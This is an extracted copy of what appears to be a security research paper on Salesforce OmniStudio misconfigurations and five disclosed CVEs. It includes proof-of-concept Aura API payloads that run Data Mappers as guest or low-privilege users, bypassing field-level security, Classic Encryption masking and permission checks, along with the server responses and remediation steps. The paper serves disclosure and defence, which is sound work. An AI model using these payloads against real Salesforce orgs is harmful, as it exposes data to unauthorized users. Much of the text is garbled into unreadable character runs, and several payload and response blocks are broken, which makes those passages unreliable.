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Introduction

Salesforce industry clouds are a suite of Salesforce solutions, each of which enables organizations to build industry - specific

applications and workflows in a simplified low  -code manner. It is the umbrella term that encompasses Financial Services Cloud,

Health Cloud, Public Sector Solu tions, Communications Cloud, and more. Across all of these clouds, the underlying technologies that

A pPCBag. ¢ asBCaz_-1lgYz1l, algt-ztBzvaBe¢>¢BBSCzacg, ataaez_-1ligYz1l 2ablcg., 1-
remarkably similar in that their  feature sets are highly consistent with one another . Their implementation , however, heavily differs.

Vlocity was an organization that was acquired by Salesforce in 2020, that built third -party Salesforce solutions for various industries,

¢ . € a,  Bihdustry ctolidé ¢ They delivered them to customers through packages, so their solutions were non -native and relied on

custom components in order to provide their functionality. Because of the limitations of non - native solutions, primarily with respect to

interoperability with core platform features, Salesforce expanded on the work done by Vlocity . It introduced industry clouds powered
tSaz_-1lj¢Yz1l, aR PCjS¢Bvab. 1" Calst” Ca> BJ ¢° aa ¢-pdveredaiidustryiclowdst &fought mamys® aa, > > ¢
1. AB,j¢ ¢€-¢qavalcat"  a aBSq¢tl1-6¢zaa"  [1¢S°eaaA ¢S-c¢l1t” a> Bal-aSfYBSCal_A A~ ¢_

Like any low -code SaaS solution, the ease of use of these technologies can lure organizations into a false sense of security when they

are configuring and building applications. This commonly results in misconfigurations, which can introduce varying degree s of risks to

b- a4 B't-1Mt¢gl, -°0a jSBs~ " alt" Ca> BfGCaaSfYB1¢SaA acYB¢2aU0,. 1aaAt ACBaas¢’
recommendations on how to mitigate them. And although this research focuses specifically on OmniStudio , many of the same risks

exist in Vlocity due to the overlap in their feature sets. This research is targeted specifically at individuals who are alre ady familiar

with the Salesforce platform and its key concepts. Additionally, while a basic and brief explanation of the cor e OmniStudio

components will be provided here, it is recommended that readers already be familiar with them.

1. General Understanding

1.1 Apex
Each section within this paper provides a proof  -of-concept (PoC) which demonstrates, at a technical level, how an attack may be
conducted. To do so, at least one Apex class method is required to be used. The purpose of this section is to very briefly ex plain how

OmniStudio - specific Apex permissioning works.

OmniStudio is unique because many of its components, like its objects, are built into the core Salesforce platform, and in so me cases
still relying to some extent on a separate Managed Package. Because of this duality, the Apex used by OmniStudio exists in two
-t_ SaAtfCaral. Ca>1Bacalaac,. Sae _-1lacYz1l [ BS2a-t_ SCaAt [ Cab. 1[.120CcEYzolg oeaat

namespace which is associated with the Managed package.

U.¢a ACEaPbPl1¢.1-3ac¢.%ae _-lacgYz1, [ B¢2a-t_ CaAt[CAlaa, >a. 1" ., CBakijsA,L Bgt- [ ¢
because it provides all of the core API functionality required to interact with OmniStudio components, yet is entirely hidden from the
- zaYoa¢Brald, castaaol- "~ ¢a ACEaAf " tao0ac¢.btcaSElacaablc¢. 1-ac,. laa-diongoaAst [ Cafts-
confirmed its existence while monitoring API interactions with OmniStudio components. After thorough testing, it appears that the

ACEabPlc¢,. 1-8ac.laoa-4t_ SaAs [ Cal-¢cC¢B-4+t""Saft" " aac.¢ascyYYljst~  ¢-ca ACEablcg. 1-
important is that while it may appear that a user does not have access to any OmniStudio -BC" t¢Cza ACEabPlc¢. 1-4ac. Gae 7

[ Caa®2aa¢fqgl -4a >acg.S¢1BayB, >1"¢a Bay<¢B_ 1aal, -Il@&ffct accessus\grarted tarBughthel ¢ Sa¢. ¢S
] Sa¢S. ay¢B, laal - ae|-tr"  Caaf -aY, ¢CBoat- zaAtB¢g- SBaacgc, aSEShAXTE€8§2. BIHLEB1A

R . pPSCj¢Bvac. $BCaAtBCAta- Y, ($Ba, >a ACEA[ " t aaf aabdcgnmeénd & lke.assignredtobotha ¢ Yz 1, 2 aAL
Community Site and Standard User profiles. This is regardless of the fact that they are seemingly not required to execute man y

Z_-1lc¢cYyz1l1, afJ, _ A -€C-caraa-afJ -c¢Btagac,  ae, _-1laqgYz1, [ mBA Thetakeawayherais Yz 1 2 a["’
that while an individual may not have access to the Apex in one namespace, having access to equivalent classes within the other

namespace may allow them to interact with OmniStudio components.

1.2 FlexCards

FlexCards are a lightweight means for an organization to fetch data and display data to users in a single view. This is mostly done in

either a standalone fashion by having their Ul component directly embedded in a Digital Experience, or included as part of a greater
workflow. While not able to facilitate data transformations or back -end logic, they make up for this with their ability to retrieve data
using 8 different methods (also known as  datasources ). The most popular of which appear to be SOQL, SOSL, and . This relatively
one-dimensional functionality makes them potentially the easiest OmniStudio component to create and configure, but as this research
will show, they have a rather unique set of security concerns which are only exacerbated by their simple setup.
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https://help.salesforce.com/s/articleView?id=xcloud.os_omnistudio_flexcards_24388.htm&type=5
https://help.salesforce.com/s/articleView?id=xcloud.os_configure_a_data_source_on_a_flexcard_35864.htm&type=5

FlexCard

Design ‘ ‘ New Version Clone Activate ‘ Hel ‘ v |
GetUserRecords ‘ 9 P
Author Current Version Status Cloned From Is Child Card Last Modified Theme Description
Tester 1 Inactive - 28/1/2025, 12:32 Lightning -
. Y ) Build  Properties  Style  Setup
Desktop v Add Test Params ‘ ‘ c } ‘ ) J
[ Search...
This is an example FlexCard!
Name I1d FIELDS v
John Simmons 005d1000000jOCfAAM
DISPLAY ~
Integration User 005d1000000jOEHAA2
Automated Process 005d1000000jOEIAA2 EE Action @
H Action Field
Benefit Assistance Site Guest User 005d1000000jOENAA2
Michael Holmes 005¢1000000j0EOAA2 H Block @
e Block Element
Carole White 005d1000000jOEPAA2
pssLP Site Guest User 005d1000000jOEQAA2 H m Chart @
HH Chart Field
Chatter Expert 005d1000000jOERAA2
Platform Integration User 005d1000000jOESAA2 E: Custom LWC @
.e Custom Lwc
Data.com Clean 005d1000000j0OETAA2
Employee Workspace Community Site Guest User 005d1000000j0EUAA2 i E g::a"t‘aill’e'e 2]
grantmaking Site Guest User 005d1000000jOEZAA2

The FlexCard designer

1.3 Integration Procedures

Integration Procedures  (IProcs) are the end -all of server -side data processing within OmniStudio. While it is OmniScripts which

provide the overall workflow experience to the end user, it is often IProcs that orchestrate the complex operations occurring in the
back-endunderth€¢a. . ~z*aU. l1oaaladrSftYaSatoms@a@@acCajchAqeA®a[¢f @ASCB&» Bav af.t1-1- "4ac
in a single process. From executing Apex and calling external API endpoints, to reusing existing Data Mappers or handling log ic for a

Flexcard, their server -side use -cases are endless. It is their c apability to execute these powerful OmniStudio actions alongside their

interoperability with aspects of the core platform such as Named Credentials and the Platform Cache which make them interesti ng

from a security perspective. And when it comes to securit SvabpCa -  Pac. t esidéthat isthechre€diagigfoBnd Bripotential
misconfigurations and vulnerabilities, which is why IProcs are a crucial inclusion to this paper.

"< Go Back
INTEGRATION PROCEDURE DESIGNER

Upsert Note Records

AVAILABLE COMPONENTS STRUCTURE PROPERTIES PREVIEW

Actions v Procedure Configuration Procedure Conﬁguration Edit as JSON

Expression Set Action o N -
CreatelnteractionAndInteractionSummaryDetails

Integration Procedure name ©
Chatter Action

Setlds Upsert Note Records
Data Mapper Extract Action Type @ SubType ©
v InteractionAttendeeBlock Ravancedhiotes AddNote
Data Mapper Post Action o
attendeesList Description
Data Mapper Transform Action Creates or updates interaction summary and related records to add a new note.
MergedList
Data Mapper Turbo Action
DeleteAttendee
Delete Action bz
v LoopPostAttendees Tracking Custom Data

DocuSign Envelope Action

DataMapperPostInteractionAttendee

Email Action
Include All Actions In Response

Integration Procedure Action - Versi

S v InteractionSummaryParticipantBlock ersion

Standard
Intelligence Action . . o Owner
ModifylnteractionSummaryParticipant Created By
; Last Modified B,

List Action A y

MergedShareWith

rer - - Create Version
Decision Matrix Action

An example IProc
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https://help.salesforce.com/s/articleView?id=sf.os_omnistudio_integration_procedures_48334.htm&language=en_US&type=5
https://help.salesforce.com/s/articleView?id=xcloud.os_integration_procedure_actions_50165.htm&type=5

1.4 Data Mappers

Data Mappers are one of the most commonly used actions within IProcs while also being available as an option for a FlexCard

datasource. Their most common use cases consist of reading data from Salesforce objects, often taking user input for filterin g, and
also to tran sform or prepare data into various formats, such as JSON, which may be required by external APIs. However , they can
also perform the inverse of this, transforming externally received data which it receives as input and converting it to a Sal esforce

[ €f¢°aaBS¢YYIBCza> B_tc*ralU,¢a_t--¢CBa >a ACBLcl. - ac. b, geqtheScieatar ¢+ a3t AACB
selects one of the following four Data Mapper types to choose from:

Extract: Read data from a Salesforce object and output JSON or XML

Turbo Extract: Read data from a single Salesforce object with support for related object fields
Load: Update Salesforce data from input

Transform: Does not read or write data, but can be used to alter the shape of the data.

O« O« O¢ O«

OMNISTUDIO DATA MAPPER

GetActiveOrInactiveUsers Edit Quick Match Clone Export
Interface Type Input Type Output Type Required Permission (Optional) Description
Extract JSON JSON
EXTRACT FORMULAS OUTPUT OPTIONS PREVIEW
Input/Qutput -
1- User v (]
> Input JSON
* Extract Output Patt Filte .
S e v Extraction Step JSON
OutputObject IsActive v = v active
Show all sObject Fields
n r
"OQutputObject™: [
+ Add Extract Step {}

1
¥

A Data Mapper configured to extract User sObject data, filtering on
¢.Caeaa [cg¢ljCea>1¢" zartaCza, -ac.CaetfcgcljCeayYyatBal

1.5 OmniScripts & OmniScript Saved Sessions

For the purposes of this paper, OmniScripts themselves only receive an honorary mention. They effectively serve as a container, a
workflow which can be used to bring all of these prior mentioned components together. However , these components can be
executed individually and have their misconfigurations taken advantage of regardless.

That being said, OmniScript Saved Sessions are a feature unique to OmniScripts that can have dire implications for data security if

access controls are overly permissive. These Saved Sessions allow for users to save their progress in an OmniScript, either m anually
or automatically, and permit them to resume where they left off by navigating to a link unique to their session. This means that data
entered into forms, and results returned by OmniStudio components to the OmniScript, are stored within a Salesforce object an d can

be later fetchedtopopu ~ t ¢€a¢q¢. Sae BSayY. € z-? aalWwiddeionstraté W ®erly genisive SharingaRules for this
[ Cfcaft-a" Ctzac, azst¢taCEA aYBGCV at-styeltack thatfcan tri€kuiderd intd hagdBgovedj hairdata - A C1 ES ¢ 1

N

¢,  at- atcctf SCBeoaaltjSzalSaal, - *a

Saved
Session
sObject

Attachment

sObject

Create Saved Session Record Store OmniScript Data

o Begin OmniScript
o OmniScript
, 7 Step One /
End User

~;  \ WQ
s Provide User
e Select 'Save for Later' with 'Resume' URL

How an OmniScript Saved Session is created
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https://help.salesforce.com/s/articleView?id=sf.os_omnistudio_dataraptors_45587.htm&language=en_US&type=5
https://help.salesforce.com/s/articleView?id=xcloud.os_dataraptors.htm&type=5
https://help.salesforce.com/s/articleView?id=sf.os_omniscripts.htm&language=en_US&type=5
https://help.salesforce.com/s/articleView?id=sf.os_save_and_resume_an_omniscript_9465.htm&language=en_US&type=5

Saved
Session
sObject

Attachment

sObject

Lookup Saved Session ID Fetch OmniScript Data

y o Populate Saved

¢ Step Data
9 o~ P ‘_/ OmniScript
z r:] ;’}y 7 Step One
.,\L‘ [

End User o Navigate to 'Resume' URL -
o Fetch Saved Session Data

How an OmniScript Saved Session is resumed

1.6 Data Packs

O at~ "~ Ppa> BaStaSa_. 1 Bstcgl -4a >az2_-1li¢cYz1l afJ _A -GC-caa>B__a -¢alst" Ca> B
Yt[ aeab,1f.asBCaCaaC-¢l1s" " SataAsf + ¢zajS¢Bal - 4a >ac.%¢af _A -C-cac,+tc
imported to the destination instance. Once a component is selected for export, a record is created within the Data Pack object which

[ - ¢t1-aacg¢. Sa_ Sqtztcrat-zaztcgta, >acg,. Cas-¢1BSaz_-1ljgYz1, af. . _ A -the ¢cTOUL?®*
existence of a Data Pack can lead to concerns around which individuals may access them. The same concerns apply to imported Da ta

Yt[ oavab,1f.aA¢Balaca¢j $-at>¢¢Bac¢,.%aJ _ A -C-c¢cTavac¢,.CSa.tjCamusage afBSCt S
has shown that users are sometimes provisioned with excessive permissions, allowing them to read Data Packs belonging to

components which they are not normally authorized to access directly, such as Integration Procedures.

f

Q¥

Salesforce Org 1

DataPack 'Export'
Record

Component JSON
Export Process \V Data as Attachment

File

OmniStudio Component

Salesforce Org 2 Upload

DataPack
'Import' Record

>

Import Process

OmniStudio Component

A simplified depiction of the import/export process of OmniStudio components using Data Packs

1.7 OmniOut

The OmniOut feature allows for the generation of web components from OmniScripts and FlexCards, so that they may be embedded
into external non - Salesforce cloud applications or CMS. This effectively allows OmniStudio components to be used anywhere. This
cross -platform functionality is powered by Salesforce APIs, authenticated via OAuth 2.0, to read, create, and store data. And as with
any OAuth -based integration, organizations must be meticulous in their approach to securely implement OmniOut in order to minimize
secur ity risks that may arise from poor permission management and the storage of sensitive credentials outside of the platform.
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https://help.salesforce.com/s/articleView?id=sf.os_omniout.htm&language=en_US&type=5

2. Understanding the Proof of Concepts

For every security concern discussed in this paper, | provide a technical proof -of-concept (PoC) as both a means of evidence for the
behaviors observed and also for educational purposes. These PoCs often require some specific initial configuration and setu p,

n

zSc¢t 1" Czal- as€sf.aeljScg¢qgl-"aeA2aaYra¢fcg¢l, -ac,  a>Y" "~ saz_  -o¢Bircla@eg. SalaayYy

some configurations in common. To avoid repetition, | would like to establish what these commonalities are now so that th ey can be
assumed throughout unless otherwise stated  in those subsections.

1. A publicly accessible Digital Experience was created in order to establish both unauthenticated and authenticated sessions to
the Aura API, which is the API used for each payload that will be demonstrated.
2. The Guest User of this Digital Experience was created with the permissions outlined in the official Salesforce documentation

for OmniStudio Guest users.

3. Theout-of-the-f ., EaTz2z”vaef Yag, _ $Baf_ __Y-1¢Sa&a¢B?2ayB, >1"¢Cabstaadf”~ - Czat- za]

official Salesforce documentation  for Digital Experience Site users.

3. Terminology

OS CC Profile -5¢>¢Baacg, ag. ¢af"~ - ¢zaefVYagqg, . ¢Baf_ __VY-1¢Sa&eas¢B2ayB >1"¢Cacg.t¢q¢abta

permissions, as mentioned in

EOWD - External OWD Sharing Rules

4. Vulnerabilities (CVES)

As part of this research process, | continuously communicated all findings to Salesforce, who AppOmni has a strong relationship with.
While the primary objective of this research was to educate Salesforce customers to common security pitfalls  within industry clouds
made through misconfiguration of security controls or OmniStudio components themselves, five issues | had identified were

[ -alz¢BSzarsSalt® Ca> Bf Gtaa, AqHEABJAf a&d BAA 1600 gdC oA 1la@l - >1"YBt ¢l

Once remediated, Salesforce sent an email communication to its customers, on May 19, 2025, informing them of the vulnerabilities
and attributing myself and AppOmni as the finder.

@

What happened?

AppOmni, a Salesforce research partner, recently discovered CVEs 2025-43698,
2025-43700, 2025-43701, 2025-43699 and 2025-43697, which impact the Flexcard
and Data Mapper components of Omnistudio (for both Core and managed
packages).

DataMapper CVE (impacting OmniStudio versions prior to Spring '25/version 254):

» CVE-2025-43697: If ‘Check Field Level Security’ is not enabled for ‘Extract’
and ‘Turbo Extract’ Data Mappers, the ‘View Encrypted Data’ permission
check is not enforced, exposing cleartext values for the encrypted fields to
users with access to a given record.

Flexcard CVEs (impacting OmniStudio versions prior to Spring '25/version 254):

« CVE-2025-43698: The SOQL data source bypasses any Field-Level
Security when fetching data from Salesforce objects.

« CVE-2025-43699: Flexcard does not enforce the ‘Required Permissions’
field for the OmniUlCard object.

« CVE-2025-43700: Flexcard does not enforce the ‘View Encrypted Data’
permission, returning plaintext values for data that uses Classic Encryption.

« CVE-2025-43701: Allows Guest Users to access values for Custom
Settings.

A snippet of the Salesforce communication to customers regarding my findings

Three of these issues have been entirely fixed, requiring no customer action. For historical reasons, | have kept their respe ctive
sections in this paper. Keep in mind that the attacks within these three sections are no longer possible , but may still be of interest
to security practitioners. These sections are:
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https://help.salesforce.com/s/articleView?id=xcloud.os_grant_digital_experience_guest_users_omnistudio_access_7519.htm&type=5
https://help.salesforce.com/s/articleView?id=xcloud.os_setup_omnistudio_standard_permission_sets_for_experience_users_7169.htm&type=5

CVE |dentifier Section

CVE20254399 Section5.32Ly adzFFAOASY (G t SN¥YAaarAz2y Il fARFGA2Y o6& WwSI dzi NI

CVE202543700 Section 5.3.3 Bypassing Classic Encryption Ac€mstrols using SOQL

CVE202543701 Section 5.3.4 Guest User Can View Custom Settings via SOQL

The other two vulnerabilities were tackled through the introduction of a customer -controllable security setting, therefore requiring
customers to take measures to keep themselves secure . And both of their sections have since had their Remedliation subsections
updated to reflect these new controls. These sections are:

CVE |dentifier Section

CVE-2025 -43697 Section 5.1.1 - Lack of Field -Level Security (FLS) Enforcement by Default
Section 5.1.2 - Bypassing Classic Encryption Access Controls

CVE-2025 -43698 Section 5.4.1 - Lack of FLS Enforcement for SOQL Data Source

[ee]
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5. Security Issue

5.1 Data Mappers

5.1.1 Lack of Field - Level Security (FLS) Enforcement by Default (CVE  -2025 -43697)

Overview

The primary concern with respect to Data Mappers is that FLS is opt -in; it is not enabled by default when a Data Mapper of type

extract® a TuBb@Bxtract® A1 aaf BSt ¢S¢z*aU, Taadaft- arSaass-ablg. 1- ataqbtctastst AACB2aaezAC
option is not automatically selected. This means that users who have the ability to execute this Data Mapper may be able to read field

values that they are normally unauthorized to

Practical Demonstration

Setting Up
O -ae| Ec¢Btfc2aqbtctadts AACBAaAcECCIS-algljSas” YCa2abtaoafBStcSzablg. a-_ ac
>1¢~ za, >ae| Et_ A" Crrfevab,1f.alaatafYacg _azr Sfcgra
6 U.Cae| Es_ A" Crrf2oa.  Sfcabt oatréadforitssEOWD, hnd WBQASZCE ©rofée wasjgiled admécdss to
theobject  Yqa- ,  ¢cag,  ag¢. caelS-algljCSrrfea>1¢"z
Proof - of - Concept
adaCoaal - abtoaCoacgtr” la, Cza> BataYaS¢Bablg.acg. CazljaffayB, >1" ¢a=aataql’' 1¢qg
parameter payload was sent to the Aura API which executes the Data Mapper directly.
{
"actions": [
{
"id": "16;a",

"descriptor": "aura://ApexActionController/ACTION$execute",
"callingDescriptor": "UNKNOWN",
"params™; {
"namespace": "omnistudiocore",
"classname": "BusinessProcessDisplayController",
"method": "Genericlnvoke2NoCont",

"params": {
"input": "{ \"Bundle \": \ "GetSensitiveValues \", \ "DRParams ":{}}",
"options™;
"{ \ "useQueueableApexRemoting \ ":false, \"ignoreCache \"false, \'"vicClass \": \"omnistudio.DefaultDROmniScriptintegration \", \"useCon

tinuation \":false}",
"sClassName": "omnistudiocore.DefaultDROmniScriptintegration”,
"sMethodName": "invokeOutboundDR"
h
"cacheable": false,
"isContinuation": false

}
}
]
}
d- 4¢. CAat[r.jSaAL S  tzvac.Ca-+_Ca >ac.Saqbctad8stAACBYAacECCI ¢- alecal jr$ &Ll ¢Caa
d- a¢. laaafS-tB1, vac,.Saqsctadt AACBaz, Caa-_ caB¢'YY1IBGCa- Bactefalef caYat¢Bal- A
eq5ytBt, a2a.  SfcaYal- ' aA:tBt_ CcC BajoteestdpelAt TBaadcg.+tca.+jcarscs-4az. vYr~ ¢
7- [ CACESCfYgSzvacg.Cajs"YCa, >aceljC-alc¢l1jSCC1¢ zyrrfeoabtaaBS¢YB-Czac, ac.Sava
message= 21
{"actions": [{"id":"16;a","descriptor":"aura://ApexActionController/ACTIONS$exe 22 { N . N
cute","callingDescriptor":"UNKNOWN","params":{"namespace":"omnistudiocore","c actions":|[
lassname":"BusinessProcessDisplayController","method":"GenericInvoke2NoCont", { e .
"params":{"input":"{\"Bundle\":\"GetSensitiveValues\",\"DRParams\":{}}","opti "1d . 36ia ' 3
ons":"{\"useQueueableApexRemoting\":false,\"ignoreCache\":false,\"vlcClass\": “state : SUCEESS ’
\"omnistudio.DefaultDROmniScriptIntegration\",\"useContinuation\":false}","sC rsturnValue :f
lassName":"omnistudiocore.DefaultDROmniScriptIntegration"”,"sMethodName":"invo "refurnValue 2 ue— — — — — prs s
O NS D e D AR S o PSS S U SR e T
Risk
Without FLS being enforced, users may be able to access information through a Data Mapper that they are not normally authoriz edto
see. Furthermore, non -Guest users have the ability to determine which Data Mappers do not enforce FLS by querying its
corresp, - z1- "a_ [ SI¢YaYal-'"a AGCEAC.tcat" " . ba selectBoildstDEdPBEdergohtrollerd @ » A BC T o Bz &) B
targeted attacks on Data Mappers that specifically do not implement the FLS authorization checks.
9
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https://help.salesforce.com/s/articleView?id=sf.os_dataraptor_extract_overview_45843.htm&language=en_US&type=5
https://help.salesforce.com/s/articleView?id=sf.os_dataraptor_turbo_extract_overview_45624.htm&language=en_US&type=5
https://www.enumerated.ie/index/salesforce

Recommendations

Data Mappers may either have FLS enabled organization -p 1 z € a >
individually to enforce this security control.

To enforce FLS for all Data Mappers * organization -wide:

B

n

a1t~ " ae| EcBstfcgeat- zaeUYB[r.L a| EgBst e

1. From Setup , enter Omni Interaction Configuration and select Feature Settings > Omni Interaction > Omni Interaction

Configuration
2. Select New Omni Interaction Configuration

3. For Name and Label, enter EnforceDMFLSAndDataEncryption . For the Value field, enter true .

*As will be pointed out in the next section, the enablement of this setting will ensure that any data encrypted with Classic Encryption
P1”~ " a- car¢aBSc¢YB-¢z4ac¢ aYa¢Baal-aA t1-¢SEcal>ac. $¢Saz,  a-_  caA aoaaCaaacg. ¢

To enforce FLS for a single Data Mapper:

1. From Service Setup , selectthe App Launcher and search for OmniStudio Data Mappers . Select OmniStudio Data Mappers

2. Select the offending Data Mapper and choose the latest version.
3. Navigate to the Options tab. Ensure Check Field Level Security

is selected..

After making these changes, users without access to the field being returned will no longer be able to see its values:

message=
{"actions":[{"id":"16;a","descriptor":"aura://ApexActionController/ACTIONS$exe
cute","callingDescriptor":"UNKNOWN","params":{"namespace":"omnistudiocore","c
lassname":"BusinessProcessDisplayController"”,"method":"GenericInvoke2NoCont",
“params":{"input":"{\"Bundle\":\"GetSensitiveValues\",\"DRParams\":{}}","opti
ons":"{\"useQueueableApexRemoting\":false,\"ignoreCache\":false,\"vlcClass\":
\"omnistudio.DefaultDROmniScriptIntegration\",\"useContinuation\":false}","sC
lassName":"omnistudiocore.DefaultDROmniScriptIntegration”,"sMethodName":"invo
keOutboundDR"},"cacheable":false,"isContinuation":false}}]}&aura.context=

{

"id":"16;a",

"state":"SUCCESS",

"returnValue":{
- returnValue"l"{\"OBDRresp\" 3 {},\Ierror\" s \"OK\"}",
"cacheable" : fisk

}l

"error": [

1

5.1.2 Bypassing Classic Encryption Access Controls ( CVE-2025 -43697 )

Overview

N o ¢,ae| Ec¢Bsfceat- zaeUYBr, al|Ec¢Btfc2aqsct a,
Y¢AYcac,. $1Bajt” YCoal-af"  €+B¢CEcabPl¢. . YCcaBSYYIBI1- "ac., Saf st mieitionoa YaS Bac.

native access controls is also their default behavior.

Practical Demonstration

t AACGBaabl1~ " az¢[ BSAugedtly 1 ¢” zaacgq.

N

a

a

6 afYoacg,_azr Sfcvae|-[BSAcELZgaKIxTY (2@ alAdBEE|CSFZBSACSZC1SC  zrrfoab,

Setting Up
enabled.
0 aqtctast
6 U.cazlaffa
| - I BSAcSzaqgtcg¢t.2aACB, Taal, -

Proof - Of-Concept

AACBAEe | EcBL[covaeeyYPBBRI BEBSACLACIETABETYBaaAc, CAjt” YSa
YB. >1" Cabtoa Bt-cSzastf[fSaaag, acUSABSE®PEBSAZ cQfdjq€aBg) ¢

A session was established on a Digital Experience for an OS CC user. It was first was confirmed that the field was encrypted by
b ¢C¢S. Acl- "ac,  aCE¢Btfcac.¢a, [ Sfceaajt”  YCaaYal- "ac¢.CaeljS " ¢fctrisSRTacQqst ¢
designed to return the record data that someone has permission to see in an object.

message=

{"actions": [{"id":"123;a","descriptor":"serviceComponent://ui.force.component
s.controllers.lists.selectableListDataProvider.SelectableListDataProviderCont
roller/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOr
Id":"EncryptedObject__c","layoutType":"FULL","pageSize":100,"currentPage":0,"
useTimeout":false,"getCount":false,"enableRowActions":false}}]}&aura.context=

"OwnerId":"005d1000000j0CfAAM",
"CreatedById":"005d1000000j0CTfAAM",

g >
"ClassicEncryptedField__c": " s kkksksokskoksorksokiork'

" ", " A

"LastModifiedById":"005d1000000j0CfAAM",

Noaahd ard+Tunall i NMCunwmviinmdndNhE nns ~n

Then by using the same payload as before , but applying it to the newly created Data Mapper, the value is returned in plain text.

message= 23 {
{"actions": [{"id":"16;a","descriptor":"aura://ApexActionController/ACTION$exe
cute","callingDescriptor":"UNKNOWN","params":{"namespace":"omnistudiocore","c
lassname":"BusinessProcessDisplayController","method":"GenericInvoke2NoCont",
"params":{"input":"{\"Bundle\":\"QueryEncryptedFieldValues\",\"DRParams\":{}}

", "options":"{\"useQueueableApexRemoting\":false,\"ignoreCache\":false,\"vlcC
lass\":\"omnistudio.DefaultDROmniScriptIntegration\",\"useContinuation\":fals
e}","sClassName":"omnistudiocore.DefaultDROmniScriptIntegration","sMethodName
":"invokeOutboundDR"},"cacheable":false,"isContinuation":false}}]}&

Risk

"actions": [

{

"id":"16;a",
"state":"SUCCESS",
"returnValue":{

returnValue":
{\"0BDRresp\":{\"ClassicEncryptedField__c\":\"YouShouldntSeeThis\"},
30 0 oo go g go \u.\uqy\u\u

Mocabacktallafalaa

operations which may result in the disclosure of exceptionally sensitive information to normally unauthorized individuals.
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Recommendations

Organizations can choose to enable an Omni Interaction Configuration setting, EnforceDMFLSAndDataEncryption , to ensure that
-~ SaYaoaSBaablg.acg,. Saealscbhpal|- [ BSAcSzaqtqgteaACB, Taal, - a_tSao¢SGhag. CaA™ £ 1-
enabling this setting will also enable FLS checks for Data Mappers organization -wide, as previously mentioned in

1. From Setup , enter Omni Interaction Configuration and select Feature Settings > Omni Interaction > Omni Interaction
Configuration
2. Select New Omni Interaction Configuration

3. For Name and Label, enter EnforceDMFLSAndDataEncryption . For the Value field, enter true .

4. Click Save.
Once complete, repeating the same request to the Data Mapper as before will show that encrypted field value is returned in ma sked
format.
message= "actions": [

{"actions": [{"id":"16;a","descriptor":"aura://ApexActionController/ACTIONS$execute {

","callingDescriptor":"UNKNOWN", "params":{"namespace":"omnistudiocore","classname
":"BusinessProcessDisplayController","method":"GenericInvoke2NoCont","params": {"i
nput":"{\"Bundle\":\"QueryEncryptedFieldvalues\",\"DRParams\":{}}","options":"{\"
useQueueableApexRemoting\":false,\"ignoreCache\":false,\"vlcClass\":\"omnistudio.
DefaultDROmniScriptIntegration\",\"useContinuation\":false}","sClassName":"omnist
udiocore.DefaultDROmniScriptIntegration™,"sMethodName":" invokeOutboundDR"},"cache
able":false,"isContinuation":false}}]}&aura.context=

"id":v16;a",
"state":"SUCCESS",
"ret e

"returnValue":
"{\"0BDRresp\":{\"ClassicEncryptedField__c\" : \"#ksksksakk\"} ,\'
error\":\"0K\"}",

5.1.3 Circumventing Permission Checks Through Scale Cache

Overview

The Scale Cache is a concept that is unique to OmniStudio Standard. It is a feature that is enabled by default and allows for the
caching of a Data Mapper and IP metadata. In simplified terms, once either of these components are executed, even in preview mode,
its defini tion is stored within the Scale Cache to speed up future executions.

It is believed that users are required to have Sharing Rules configured for Data Mapper / IProc sObjects in order to grant ac cess to
CECfYcCataaAC[1>1faqsctasds AACBA, BaayB, [*a zz1¢l, -35""Sval>ast-a8Sa>YB¢ z&B&
these components, it is believed users are required to possess those also. But in spite of this, | discovered that once the m etadata is

stored within the Scale Cache, these components temporarily become executable to any user regardless of an y permission

requirements . In other words, users may execute the Data Mapper even if:

U. ¢Saz,. a- . ¢ a Enables Comsuraers.afddartners to execute OmniScripts, DRs, Cards through a Community or off

A"t ¢> B_caljSac¢¢_  ay¢B, Taal, - *

They do not have access to the Data Mapper through Sharing Rules

U, ¢Saz, a- caatc¢la>Sac¢,.$aes5¢YYIBSCzAay¢B, Taal, - 2aBSYYTIBS, ¢- cTauv

(@]

¢ O«

Below is a depiction of the first successful execution of a Data Mapper by an authorized user, wherein there is no existing metadata in

the Scale Cache.

Scale
Cache

o Check for MD in Cache o Store Fresh Metadata in Cache

Execute Data .
o Mapper j W \ o Fetch Metadata

r Data Mapper r g I Data Mapper
- ! Metadata
Authorized sObject
User Validate Sharing Rules &
o Required Permissions

jj:)
)¢ 3
o Perform Action

Storage of Data Mapper metadata in scale cache after successful execution
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https://help.salesforce.com/s/articleView?id=sf.os_cache_for_dataraptors_and_integration_procedures_48057.htm&language=en_US&type=5

The security issue is then introduced upon all subsequent executions after the metadata has been stored in the cache. Below d epicts
this problem, assuming the actions in the above diagram have already occurred.

Scale
Cache
°Check for MD in o Get MI_I) from prev_ious
Cache authorized execution
o Execute Data
Mapper
Data Mapper \I Data Mapper
. \ Metadata
) )
Unauthorized sObject

User

Validate Sharing Rules &
Required Permissions

o Perform Action

Unauthorized User Executing Data Mapper
Practical Demonstration

Setting Up
o) af Yag, _azr Sfcgvael. . _ Szt rrfe°abptaafBCtcCz2aU,.¢aEYCacaa®aCBabnotwead Bt- ¢Cza

access ¢, a¢. SaecEYCacal.. Y z-¢cljScU. lTayyrfoa>16¢"2z¢*

0 aqbtctast AACBY aeECCIS-al1¢ljSat” YCa2Vvabtad[BStqSzag, aBScYB- agpefajt” YCTa
z Caa-  ca¢- > BfSacCRl*aU,.¢aqsctad8sAACBAaL" o, a.-45z4ac¢,.$ae5CYYIBSgdyy<¢B, Taal .
System Administrators should be able to access it.

0 The Guest User was not granted access to any Data Mappers , @s no Guest Sharing Rules for the Data Mapper sObject were created

to allow for their execution.

Proof - Of-Concept

Since this Data Mapper had never been executed by anyone, its first execution using a near identical payload to the one shown in returned
an error to the Guest User:

message= 22 o . N
{"actions":[{"id":"16;a","descriptor":"aura://ApexActionController/ACTIONS$exe actions":|[
cute","callingDescriptor":"UNKNOWN","params":{"namespace":"omnistudiocore","c { .
lassname":"BusinessProcessDisplayController”,"method":"GenericInvoke2NoCont", "id":"16;a",
“params":{"input":"{\"Bundle\":\"GetSensitiveValues\",\"DRParams\": {}}","opti "state":"SUCCESS",

ons":"{\"useQueueableApexRemoting\": false,\"ignoreCache\":false,\"vlcClass\": “returnvalue":{
\"omnistudio.DefaultDROmniScriptIntegration\",\"useContinuation\":false}","sC ﬁ""'""""""' . —
lassName":"omnistudiocore.DefaultDROmniScriptIntegration","sMethodName":"invo “{\"0BDRresp\":{\"error\":\"No bundle is specified.\"}, l..
keOQutboundDR"}."cacheable": false."isContinuation":false}}1} CTTOTATSATURATT,

